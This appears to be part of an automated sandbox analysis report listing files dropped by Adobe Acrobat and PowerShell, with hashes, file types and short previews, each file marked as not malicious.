SHA-256:	0FA2444EBC2D2C429774615F6B39D90627640788CD3CCF01AB69BAD96527D0C3
SHA-512:	441005A1A769029CE1C562043291CEAB3729736D17CB61231EDFF235949C055E7F0A11FD00E87AB5CEF2CA2582FF71260170E95BA7B77E00512CE82B6324C7D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662401753222984
Encrypted:	false
SSDEEP:	24:Yv6XWwJhQc7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJ:YvzwJhQSBgkDMUJUAh8cvMJ
MD5:	37DE38E1BB21EA72B4373F05AC42D605
SHA1:	E0D922C7611C4E76EE4B76C069631D435D583811
SHA-256:	541CC11467B390C21A3144363D1777243A7499AC8F39DBD7E6F686BD9BA78E1E
SHA-512:	D894631054C6A061D7F5E39E40E560B9685757C4C0B9EB5D747C9CE6ECAF9C2D1466762AE05ED58A68D41E86F838E8E1A01430C3AE1A119E02DE368AEE3DB68A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.224813637926567
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfshHHrPeUkwRe9:YvXKXW8hvR/ZwHAEcOGUUUkee9
MD5:	759D97B6C277AA1C3410C4FFD64EE6D8
SHA1:	FD5A438980F7FDEDCC0F22722AF39EA084DE71BD
SHA-256:	9266870D2445A89B0F04CD6A8BB1C4D99758DEDE33DEE6DD5DF058CDCBD71A54
SHA-512:	A4FF1133B34590DC968611F329A807C8BC2EF18AB92B9EE32A048C3C8F4E4E438AC92905E0CDF2782AE2CBB6C3BEC8524F2F3F283C0CCFB8AE89CA9D3E243285
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.241963943098238
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJTqgFCrPeUkwRe9:YvXKXW8hvR/ZwHAEcOGTq16Ukee9
MD5:	CB7858C3CDEA28197C89DD91C985AFC3
SHA1:	2ECF6840475FA804EF1460795A4561FBDE64EA0E
SHA-256:	200C8B76ED11D06BDE448571B0623E411413C0715BA908A7914FC4D755E21FF2
SHA-512:	668AF8439F9FB2F30FEDFC647CCB8BDD7E878238220955D75CAD75C33D2A7A279F9A6E94FC0ED4D68BF8AD67A702BB073A02F506130A7F1579F12CA4285C04C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135974156972383
Encrypted:	false
SSDEEP:	24:YtKsagxr1ayArYDK+1Xm3C6lHgy8j19Sj0SkiY/w2g2LSWCAYbKeIBMB6/5oF2H/:YthZk3C6E8D9YZYbKbMAqFi9ui
MD5:	C5FCF86E9DCDA95D6E89BBF49AB03909
SHA1:	A2E24219F08AF37600069489BF49C65B1C9D4406
SHA-256:	69D9394C611E85DB8056111C189611944C8BACFD9FB27DF19A19661F0E466231
SHA-512:	ABD3779307034F81F2AF4A73D4818CF3BF9D87129B5471E337BDBAB19571455D7E5F269137A288DBFE100115284E99FF8E8E5A83F4FFAE9657FEB7088F684272
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"621a471a7aa2634287117d41dc63a4ed","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736515951000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7bb96f6567a5b00f8e91a592fb03b14c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736515951000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e2473245bbb93a8fefb106c45ed1f5dc","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736515951000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7a64ad7d48d6a7b5e1b6b1c321dd3d11","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736515951000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"354a8124b7ec05fa8901aed776e68fb5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736515951000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b1f59e54068654a9b607fa8b49354d28","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3183794879652424
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe16tqVp+:TGufl2GL7ms9WR1CPmPbPahCypilIy
MD5:	E414A2783B7669FED718F23BAEB9E9B4
SHA1:	8FAE3649943E6AB8287CA1936F5CD45B5A0372AB
SHA-256:	E70DB2CC3E17C34C8A3AC5C6B1E11847A5A53844CA9D0F6D0707448EE63AA38B
SHA-512:	9CE67F6A1191CBA391521879B6918EF9212497D5079504AF0AD48649EE725EB1F84A399D29CE54C0B098C95DECA4890D4EA4E16B0E50A1814E5B93C2548DC178
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7799193964697104
Encrypted:	false
SSDEEP:	24:7+tElhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe164qVpaVrScVr0InoqLhx/w:7MbWR1CPmPbPahDypilIdqFl2GL7ms+
MD5:	DAFB34C76926BC8487A195EAE0AE78A1
SHA1:	E9E4DDD499D7399603B60DD8B1C500EA19A407BD
SHA-256:	A16B1FABC0D2F60F1F0121FF79E60DB835809B97A89349DC0F961A13DEDBFDC2
SHA-512:	62A7BFDCCB54AB1404225C22F0D545D7161921D0E98D35D8E8CB13807F2C0295D344E349F257B382F73C507EFCA8AAE7297D15301FF0285D3322DBB3AB5CE67B
Malicious:	false
Preview:	.... .c........g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgB5lvd+Da1fLFhF97AEC6+kCKYyu:6a6TZ44ADEB5lvdDLTxbbZK
MD5:	665BD731222BC69A3610838F46464B53
SHA1:	79C686EFC0907B4890C7EF8A06256B05B7D6DE53
SHA-256:	C9A1D30E05946EA402A934DD201D085C50C685647057C466890D0A8FA61B93FD
SHA-512:	80CB7017117AB0097196BD6B9F0D714685112128C3AF2BC664523927E3B600EE07FBF674061A04CBFD3D65FA95348A634644254686CE67795F73B199133650A0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI58580.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsl1NWlPwlYH:Qw946cPbiOxDlbYnuRK+bzl1JlYH
MD5:	152E4718F2F019C6B8AE1EAA900BB96A
SHA1:	5F5F2429B042D06F3F7BF1E2EBAC4F46ECD64E3A
SHA-256:	8F859D97D55BBCC0D16232E24B5B58CF64AC11DBA25BBDB9204D852644032BF9
SHA-512:	2CCA586106B38D22589F4EF6AD414B3EC02663298ED17943FC9A5933E4733C43EADB239178B4B02AA59AC2274C81571BB44D066F9F5FB679C9122BF15C36AA7C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.3.2.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_15b2ana1.hjg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vleafor0.njf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-32-24-499.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.34213317462045
Encrypted:	false
SSDEEP:	384:PIENcwIKYUjbq8ITuEv2uex6zlLVmrn0TA2sqGsdMXw1iQg3Xkh+9m9cxqweeBpM:/ib
MD5:	51F404BA8C9C63CA198F93216F603AC0
SHA1:	9DC05F24B019141E84DAAB6E3B8F535E48DE472C
SHA-256:	F3C590AB5A406B4F21BC2C2E26DC4C2FD2D194105CDDC93923FB5A1BCA6898EC
SHA-512:	53DB76982EB2C15C0C885235CB56B4978E569649BA06B7C7D521A6432BC0CA1AA80A7AC74207A36AB664CBBFAC65D6096FD4B5782B489763BE2E17BE75BD5C7E
Malicious:	false
Preview:	SessionID=50d2952e-74e8-403b-a51b-c346bc924930.1736515944525 Timestamp=2025-01-10T08:32:24:525-0500 ThreadID=7192 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=50d2952e-74e8-403b-a51b-c346bc924930.1736515944525 Timestamp=2025-01-10T08:32:24:526-0500 ThreadID=7192 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=50d2952e-74e8-403b-a51b-c346bc924930.1736515944525 Timestamp=2025-01-10T08:32:24:526-0500 ThreadID=7192 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=50d2952e-74e8-403b-a51b-c346bc924930.1736515944525 Timestamp=2025-01-10T08:32:24:526-0500 ThreadID=7192 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=50d2952e-74e8-403b-a51b-c346bc924930.1736515944525 Timestamp=2025-01-10T08:32:24:526-0500 ThreadID=7192 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403693946552096
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb8UcbiI6Icbh:ceo4+rsCWl6P
MD5:	4FE349BD0F4914795959FC1EAFA13F0D
SHA1:	ACB0A6ADF83804C7E6AF63F88D5E715C304BE707
SHA-256:	72798776B38A1DB33A81AD3E1C142819F5345E7D5E969AFD5449D86D337D78A5
SHA-512:	0D43DA90BD3CE49358C6FD6D1E0874AB0CB59B7137B3C0BF75D8159FA0CBFF8815D60E0EFD5E6E8A57D4A5AC961851F636A0209C59750D96689253C53588C506
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6d814965-7730-4733-8688-adc65e5050fa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6ed4dca3-0472-4cee-a4be-98ccb2e29ac7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c74febd3-62a2-4e75-a013-62ea173567ff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/x0WL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:J0WLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	4EC58430C65824A32086E0F4F7675101
SHA1:	470A2A9C8F79388F616B90F8F1C5C4F284239C0D
SHA-256:	FA403E63859816820EC59D0A9FF7FDB6E783A86E107DF418A487755D1BE7BB53
SHA-512:	1CEA8294D2B70EE00F6EF0F82195F1389685C22587D765CC4BDAFBBD6E114BB259C8121E3FB29AC8457C5C02E898196838DEEAD8CA06F80856CEFEFF30902B66
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f02531ed-8984-4cb4-866f-fdb5ce5401ac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
